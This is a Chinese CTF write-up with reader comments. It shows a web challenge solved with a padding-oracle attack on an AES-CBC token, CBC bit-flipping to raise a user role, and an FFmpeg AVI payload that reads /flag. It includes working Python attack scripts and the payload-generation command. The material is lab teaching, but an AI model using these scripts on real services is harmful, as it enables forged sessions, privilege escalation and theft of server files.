考点:
- 敏感文件泄露(Robots.txt)
- Padding Oracle 明文推断 & CBC 翻转攻击
- FFMpeg 任意文件读取漏洞
步骤:
1.打开靶机发现是一个管理后台。
2.审计页面源码,发现其中有一个不寻常的 Meta,似乎是设置 Cookie 的。先留着。
3.扫描敏感文件,发现 robots.txt 里有内容,提供了一个地址 /swagger_ui.html。
4.打开 swagger_ui.html 看看,发现是 swagger 生成的对外暴露的 API 列表。
5.点开看看,这里有介绍 API 的具体用法。
6.点击右上角的 Try it out,可以来测试一下 API,但这里地址是内网地址,所以测试不了。
7.所以还是自己替换地址,构造一个注册请求试试吧。
8.然后到主界面尝试登录,未果,提示权限不足。
9.在登录的过程中抓包看看,发现其先请求了 /frontend/api/v1/user/login 这个地址,获得了 Token 之后,将 Token 当做 Key 放在请求头里去访问 /frontend/api/v1/user/info 获取用户信息,这里有个角色,3 代表了权限不够的普通用户。
10.我们来对刚才拿到的那段 Key 做个分析。
eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9
推测其为 base64,将其解码后结果如下,
{"signed_key":"SUN4a1NpbmdEYW5jZVJhUFmsrT7kaF3QW/ooX7UqTigmyMYy0QY+TeK32kxFeoxk/Y6y3hm/hBW+iLiuKvsMKSO+VPCJFI7OlrS/Gla8VZhuczv5+8v3WrCIHNSmRNKlAF4DvR6l0RlUZj0zZ83XiA==","role":3,"user_id":1,"payload":"wlu5E07ZbGzT45QPHNG5QyJPOe2650jX","expire_in":1556853638}
11.再对上面解码出来的数据里的 signed_key 做个解码。
SUN4a1NpbmdEYW5jZVJhUFmsrT7kaF3QW/ooX7UqTigmyMYy0QY+TeK32kxFeoxk/Y6y3hm/hBW+iLiuKvsMKSO+VPCJFI7OlrS/Gla8VZhuczv5+8v3WrCIHNSmRNKlAF4DvR6l0RlUZj0zZ83XiA==
base64 解码之后结果如下
ICxkSingDanceRaP乱码
12.前为明文后为乱码,推测前为 IV 后为加密后的密文。推测其为 AES CBC 加密,尝试利用 Padding Oracle 攻击的方法推算其原文。脚本如下,开始测试时返回码很多的时候为 205,推测其为解密失败的返回码,将其设置为不等于 205 时即解密成功。
#!/usr/bin/python2.7
# -*- coding:utf8 -*-
import requests
import base64
import json
host = "127.0.0.1"
port = 8233
def xor(a, b):
return "".join([chr(ord(a[i]) ^ ord(b[i % len(b)])) for i in range(len(a))])
def padoracle(key):
user_key_decode = base64.b64decode(key)
user_key_json_decode = json.loads(user_key_decode)
signed_key = user_key_json_decode['signed_key']
signed_key_decoed = base64.b64decode(signed_key)
url = "http://" + host + ":" + str(port) + "/frontend/api/v1/user/info"
N = 16
total_plain = ''
for block in range(0, int(len(signed_key) / 16) - 3):
token = ''
get = ""
cipher = signed_key_decoed[16 + block * 16:32 + block * 16]
for i in range(1, N + 1):
for j in range(0, 256):
token = signed_key_decoed[block * 16:16 + block * 16]
padding = xor(get, chr(i) * (i - 1))
c = (chr(0) * (16 - i)) + chr(j) + padding + cipher
token = base64.b64encode(token + c)
user_key_json_decode['signed_key'] = token
header = {'Key': base64.b64encode(json.dumps(user_key_json_decode))}
res = requests.get(url, headers=header)
if res.json()['code'] != 205:
get = chr(j ^ i) + get
break
plain = xor(get, signed_key_decoed[block * 16:16 + block * 16])
total_plain += plain
return total_plain
plain_text = padoracle("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9")
print(plain_text)
解密成功,原文如下:
{"role":3,"user_id":1,"payload":"wlu5E07ZbGzT45QPHNG5QyJPOe2650jX","expire_in":1556853638}
13.再尝试用 CBC 翻转攻击将明文里的 role 变为其他数字,比如 1 试试。在第一个区块,所以挺好操作的。同时注意我们密文里修改了,明文里的 user_role 也得修改。脚本如下。
#!/usr/bin/python2.7
# -*- coding:utf8 -*-
import requests
import base64
import json
host = "127.0.0.1"
port = 8233
def cbc_attack(key, block, origin_content, target_content):
user_key_decode = base64.b64decode(key)
user_key_json_decode = json.loads(user_key_decode)
signed_key = user_key_json_decode['signed_key']
cipher_o = base64.b64decode(signed_key)
if block > 0:
iv_prefix = cipher_o[:block * 16]
else:
iv_prefix = ''
iv = cipher_o[block * 16:16 + block * 16]
cipher = cipher_o[16 + block * 16:]
iv_array = bytearray(iv)
for i in range(0, 16):
iv_array[i] = iv_array[i] ^ ord(origin_content[i]) ^ ord(target_content[i])
iv = bytes(iv_array)
user_key_json_decode['signed_key'] = base64.b64encode(iv_prefix + iv + cipher)
return base64.b64encode(json.dumps(user_key_json_decode))
def get_user_info(key):
r = requests.post("http://" + host + ":" + str(port) + "/frontend/api/v1/user/info", headers = {"Key": key})
if r.json()['code'] == 100:
print("获取成功!")
return r.json()['data']
def modify_role_palin(key, role):
user_key_decode = base64.b64decode(user_key)
user_key_json_decode = json.loads(user_key_decode)
user_key_json_decode['role'] = role
return base64.b64encode(json.dumps(user_key_json_decode))
print("翻转 Key:")
user_key = cbc_attack("eyJzaWduZWRfa2V5IjoiU1VONGExTnBibWRFWVc1alpWSmhVRm1zclQ3a2FGM1FXL29vWDdVcVRpZ215TVl5MFFZK1RlSzMya3hGZW94ay9ZNnkzaG0vaEJXK2lMaXVLdnNNS1NPK1ZQQ0pGSTdPbHJTL0dsYThWWmh1Y3p2NSs4djNXckNJSE5TbVJOS2xBRjREdlI2bDBSbFVaajB6WjgzWGlBPT0iLCJyb2xlIjozLCJ1c2VyX2lkIjoxLCJwYXlsb2FkIjoid2x1NUUwN1piR3pUNDVRUEhORzVReUpQT2UyNjUwalgiLCJleHBpcmVfaW4iOjE1NTY4NTM2Mzh9", 0, '{"role":3,"user_', '{"role":1,"user_')
user_key = modify_role_palin(user_key, 1)
print(user_key)
print("测试拉取用户信息:")
user_info = get_user_info(user_key)
print(user_info)
运行,可以看到翻转成功了,
14.再回到登录页面,将翻转后的 Key 设置成 Cookie。根据第二步审计源码的结果,Cookie 名应为 Key。
刷新一下页面,发现可以进去了。
15.然后浏览一下系统里的功能。发现音视频管理这里有个文件上传。
16.上传不同类型的文件,下载上传后靶机上的文件,比对前后的 MD5,发现其对 avi 类型的视频文件有处理。
17.推测其后端利用了 FFMpeg 对视频文件做处理,那么就尝试利用 FFMpeg 的漏洞来读取文件。这里我们使用 https://github.com/neex/ffmpeg-avi-m3u-xbin/blob/master/gen_xbin_avi.py 来生成 payload。
执行如下命令。
python3 gen_xbin_avi.py file:///flag test.avi
意思是让靶机收到这个 avi 文件之后用 FFMpeg 处理时去读取 /flag 文件。
18.上传 test.avi,再把处理后的文件下载下来。
19.播放这个视频文件,看到第一帧,里面有 /flag 的内容。
20.Flag 到手~
15 个评论
Vul_Ghost
赵师傅tql 俺作为CTF菜鸡关于这道东北赛区有几个问题点想请教下师傅你
(1)师傅在第7步说第6步在API界面用try it out测试api,之后师傅你说因为是内网地址,所以测试不了。我没看明白师傅在那步的截图演示,请教师傅是如何判断内网地址的,以及其后师傅你在第7步是用什么工具进行替换地址,构造请求发包的(在这里小声bb下,猜测应该是Chrome的Postman插件)
(2)在第12步,当师傅你对之前拿到的key进行一系列解码后,师傅你推测其前为 IV 后为加密后的密文,菜鸡想问下师傅,这里前为IV是什么东东,没搞明白。[多多尴尬]之后师傅你推测其为AES CBC加密,这块师傅又是怎么判断的?
(3)在第17步,师傅你说其后端用FFMpeg对视频文件做了处理,这里师傅你是怎么判断出来是FFMpeg?
最后吐槽下,师傅在第19步播放下载下来的视频文件,在第一帧看到flag,真是传说中的列文•胡克呐,一帧一帧的查找[手动滑稽,别打俺,师傅,狗头保命] 我对这三处问题不解,烦请师傅不厌我烦,指教我下,还请看到我评论的各位表哥别笑我,俺是个菜鸡,先多谢师傅。
glzjin
1.因为容器部署在 Docker 里,监听的是本地地址,那里的 swagger 监听的自然也是内部地址,所以对于那个文档看看请求格式就好,以后遇到这种情况网页上发不出就自己构造请求试试吧。对,是 Postman,独立版。
2.iv,初始向量。AES 加密。
3.你看我那里首先上传下载文件就是这个目的,探测一下后端对哪些文件有处理,在实际业务中后端可能采用一些方式对储存的文件进行处理的。比如用 GD 来压缩处理图片, FFMpeg 来处理视频文件。这种,也算是一种经验吧。
Vul_Ghost
通过赵师傅你对俺的几点问题回复 俺都理解了 学习了师傅的sao姿势了 多谢师傅的耐心指点 还以为师傅你见我菜 会不鸟我呢[捂脸,狗头保命]
Vul_Ghost
对了,忘了问一点了,师傅你在第12步推测出其为AES CBC加密后,尝试利用 Padding Oracle攻击的方法推算其原文,是如何想到这步的[捂脸痛哭]
glzjin
经验+看(逃
其实有点点脑洞了,应该在这给点更明确的提示的。
Vul_Ghost
来晚了 现在才看到师傅你回复我了 看来我练了这么久 对一些CTF常见套路还是没摸清 依旧菜呐 目前俺仍处在CTF等级中的垃圾阶段 而且师傅在WriteUP中推测Key的加密方式 目前俺对AES加密没了解过 当初做题也是卡在这里 从这学到以后也得了学习下密码学基础了 感觉作为一只Web? 真是什么都要了解一些呐 好累[俺也逃,捂脸痛哭]
glzjin
嗯,加油吧。接下来还有更好玩的题~
Vul_Ghost
俺又回来了,初心师傅,上次看完师傅你的回复后,我又回顾了几遍这篇文章,又有些问题(这里小声bb下,其实早都想问的,就是怕师傅嫌我烦了,鼓足勇气再问),想请教师傅你(? 保命,师傅别不嫌我烦呐)
(1)师傅上次给我的回复中,说是用Chrome的Postman独立版插件进行构造请求发包,这段时间我在谷*商店里找的Postman插件不好用,特别鸡肋,没师傅你用的独立版好用,可否麻烦师傅以网盘形式分享下师傅你用的插件,这里先多谢了
(2)其次,在文章中第12步,师傅你写道:尝试利用 Padding Oracle 攻击的方法推算其原文。脚本如下,请问师傅这里的脚本是网上找的么?还是自己写的,感觉我自己目前能力还写不出这种脚本,有些地方代码没看明白。(捂脸痛哭)
俺就是上述问题,最后烦请师傅不厌我烦,指点我下。(多多感谢)
glzjin
1.https://www.getpostman.com/
2.自己写
Eustiar
师傅,第一个脚本里第45行应该是
token = base64.b64encode(c)
吧,前面不能再加一个token了
Eustiar
好吧,加不加都可以,去掉也行,加上也没问题
glzjin
嗯- -时间久远- -有点忘了
Padding Oracle Attack – 愿你走出半生,归来仍是少年
[…] 参考: https://www.freebuf.com/articles/web/15504.html https://www.zhaoj.in/read-6057.html […]
twoken
赵师傅你好,我在buu复现此题,上传视频不显示路径,还经常500错误。我做了好几次了都是在这步出错。
Troy3e
+1